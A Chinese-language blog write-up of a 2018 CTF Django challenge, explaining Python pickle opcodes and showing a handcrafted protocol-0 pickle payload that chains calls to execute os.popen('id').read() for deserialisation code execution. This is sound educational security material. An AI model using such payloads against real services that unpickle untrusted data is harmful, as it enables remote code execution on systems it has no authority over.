在 2018 年的時候有一個 Code-breaking Puzzles 挑戰賽,都是 Web 題,使用的語言橫跨 PHP、Nodejs、Java 與 python,用盡各語言的特性及奇技淫巧來解題
唯一的一題用 Django 出的題目引起了我的興趣,起初環境不知道為什麼架不起來,後來雖然有了 Dockerfile 還是不看太清楚有什麼問題,看了一下設定檔可以猜出大概是反序列化問題,詳細的 write-up 可以在這邊看到
總體來說先用 SSTI 洩漏 sign cookie 用的 SECRET key,再利用 getattr
函數取出被黑名單的函數來執行就大功告成了,但重點是一般在寫反序列化用的 payload 時一次只能執行一個函數,文章後面介紹如何透過手刻 pickle 的方式來解決這個問題
Pickle
從 pickle.py
、pickletools.py
與官方的文件中可以看到相關說明,Pickle 是一種協定用來將物件序列化為字串,並且有不同版本(0~4),為了向下相容每個版本的 opcode 意義都相同,只差在新版的協議有較多的 opcode,且 protocol 0 的 opcode 都是可見字元,這邊人工寫的部分主要用這個版本的協定,可以在 pickle.py
中看到這些 opcode
Pickle 透過 stack 與 memo 來執行,其中 stack 用來呼叫函數與存放參數,而 memo 是一個字典(dict) 結構,用來存放運行中碰到過的物件
看看從一般序列化物件後 opcode 是如何
class A(object):
def __reduce__(self):
return (print, (0, ))
這邊需要注意在 dumps 的時候需要指定 protocol 為 0,否則會使用預設的 protocol 版本
>>> pickle.dumps(A(), protocol=0)
>>> b'c__builtin__\nprint\np0\n(L0L\ntp1\nRp2\n.'
可以清楚看到一些可見字元跟被呼叫的函數,使用 python 內建的 module 可以看得更清楚一點
pickletools.dis(b'c__builtin__\nprint\np0\n(L0L\ntp1\nRp2\n.')
0: c GLOBAL '__builtin__ print' # 載入 __builtin__.print 函數
19: p PUT 0 # 把 stack 頂端的值放到 memo[0]
22: ( MARK # push 一個標記到 stack
23: L LONG 0 # push 一個十進位數到 stack
27: t TUPLE (MARK at 22) # 把這個 opcode 與到之前標記的內容變成 tuple 再放進 stack
28: p PUT 1 # 把 stack 頂端的值放到 memo[1]
31: R REDUCE # 呼叫使用 stack 上的參數與函數物件呼叫函數
32: p PUT 2 # 把 stack 頂端的值放到 memo[2]
35: . STOP # 結束
highest protocol among opcodes = 0
其實這邊就算把 p 的部分都拿掉也是可以正常運作,畢竟放進去之後就再也沒有把結果拿出來用過
想要連續呼叫函數的話只要依樣畫葫蘆即可
Handmade
如果我想要執行 os.popen('id').read()
可以嗎?
op = b'''cbuiltins
print
(cbuiltins
getattr
(cos
popen
(S'id'
tRS'read'
tR(tRtR.
'''
將上面的 pickle code 翻譯成 python code 的話長這樣
getattr(os.popen('id'), 'read')()
執行之後就可以看到 id
的結果了
Conclusion
每當覺得某個語言的 trick 要窮盡之時,總會有意想不到的驚喜,資安果然是一條需要無盡學的道路